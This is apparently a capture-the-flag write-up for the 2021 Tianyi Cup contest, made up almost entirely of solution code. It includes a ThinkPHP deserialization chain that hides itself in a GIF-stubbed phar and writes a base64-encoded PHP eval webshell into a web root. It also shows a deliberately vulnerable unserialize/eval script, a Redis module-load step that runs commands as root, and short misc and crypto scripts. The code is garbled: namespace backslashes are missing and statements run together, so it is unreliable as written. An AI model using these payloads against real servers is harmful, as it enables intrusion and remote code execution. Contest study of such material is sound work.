2021第二届“天翼杯”网络安全攻防大赛WP

<?phpnamespace think;use thinksessiondriverMemcache;class Process{    private $processPipes;
    private $status;
    private $processInformation;    public function  __construct(){        $this->processInformation['running']=true;        $this->status=3;        $this->processPipes=(new Memcache(1));    }
} namespace think; class Model{
 } namespace thinkmodel;
 use thinkModel; class Merge extends Model{     public $a='1';     public function __construct(){     } } namespace thinkmodelrelation;use thinkconsoleOutput;use thinkdbQuery;use thinkmodelMerge;use thinkmodelRelation;class HasMany extends Relation{    //protected $baseQuery=true;    protected $parent;    protected $localKey='a';    protected $foreignKey='a';    protected $pivot;    public function __construct(){        $this->query=new Output();        $this->parent= new Merge();
    }}
namespace thinkmodel;class Relation{}namespace thinkdb;class Query{}

namespace thinkconsole;class Output{    protected $styles = [        'info',        'error',        'comment',        'question',        'highlight',        'warning',        'getTable',        'where'    ];    private $handle;    public function __construct(){        $this->handle = (new thinksessiondriverMemcache(0));    }}namespace thinksessiondriver;class Memcache{    protected $handler;    public function __construct($i){            if($i==0){      $this->handler = (new thinkcachedriverMemcached(0));          }else{      $this->handler = (new thinkmodelrelationHasMany);    }    }}

namespace thinkcachedriver;
class Memcached{    protected $tag;    protected $options;    protected $handler;
    public function __construct($i){        if($i==0){      $this->tag = true;        $this->options = [            'expire'   => 0,            'prefix'   => 'PD9waHAgZXZhbCgkX1BPU1RbJ3pjeTIwMTgnXSk7ID8+',        ];        $this->handler = (new File);    }    }}
class File{    protected $tag;    protected $options;    public function __construct(){        $this->tag = false;        $this->options = [            'expire'        => 3600,            'cache_subdir'  => false,            'prefix'        => '',            'data_compress' => false,            'path'          => 'php://filter/write=convert.base64-decode/resource=/var/www/html/public/',        ];    }}
$o = new thinkProcess();
$phar = new Phar("test.phar"); //后缀名必须为phar$phar->startBuffering();$phar->setStub("GIF89A <?php __HALT_COMPILER(); ?>"); //设置stubb$phar->setMetadata($o); //将自定义的meta-data存入manifest里$phar->addFromString("test.txt", "test"); // 添加要压缩的文件$phar->stopBuffering(); // 签名自动计算

<?php   class A{       public $code = "";       function __call($method,$args){           eval($this->code);                  }       function __wakeup(){           $this->code = "";       }   }     class B{       function __destruct(){           echo $this->a->a();       }   }   if(isset($_REQUEST['poc'])){       preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);       if (isset($ret[1])) {           foreach ($ret[1] as $i) {               if(intval($i)!==1){                   exit("you want to bypass wakeup ? no !");               }           }           unserialize($_REQUEST['poc']);           }       }else{       highlight_file(__FILE__);   }

127.0.0.1:6379> module load /tmp/exppadding.soOK127.0.0.1:6379> system.exec "id""uid=0(root) gid=0(root) groups=0(root)n"

with open(r'f:share20210923r.dat','rb') as f1:      data1=f1.read()[:202]  with open(r'f:share20210923g.dat','rb') as f2:      data2=f2.read()[:202]  with open(r'f:share20210923b.dat','rb') as f3:      data3=f3.read()[:202]  data=b''  for i in range(202):      data+=bytes([data1[i],data2[i],data3[i]])  print(data.hex())  

msg=[  [1872,4517],  [226,2],  [2267,970],  [6239,241],  [2859,3408],  [5000,774],  [1568,6031],  [2879,587],  [2579,2114],  [2267,970],  [1568,6031],  [2879,587],  [2267,970],  [4070,5982],  [5388,2334],  [5873,5782]  ]    a = 1  b = 5  p = 6277  E = EllipticCurve(GF(p), [a,b])  G = E([10,180])  k=381  r=6  for i in range(len(msg)):  print(E(msg[i])-k*r*G))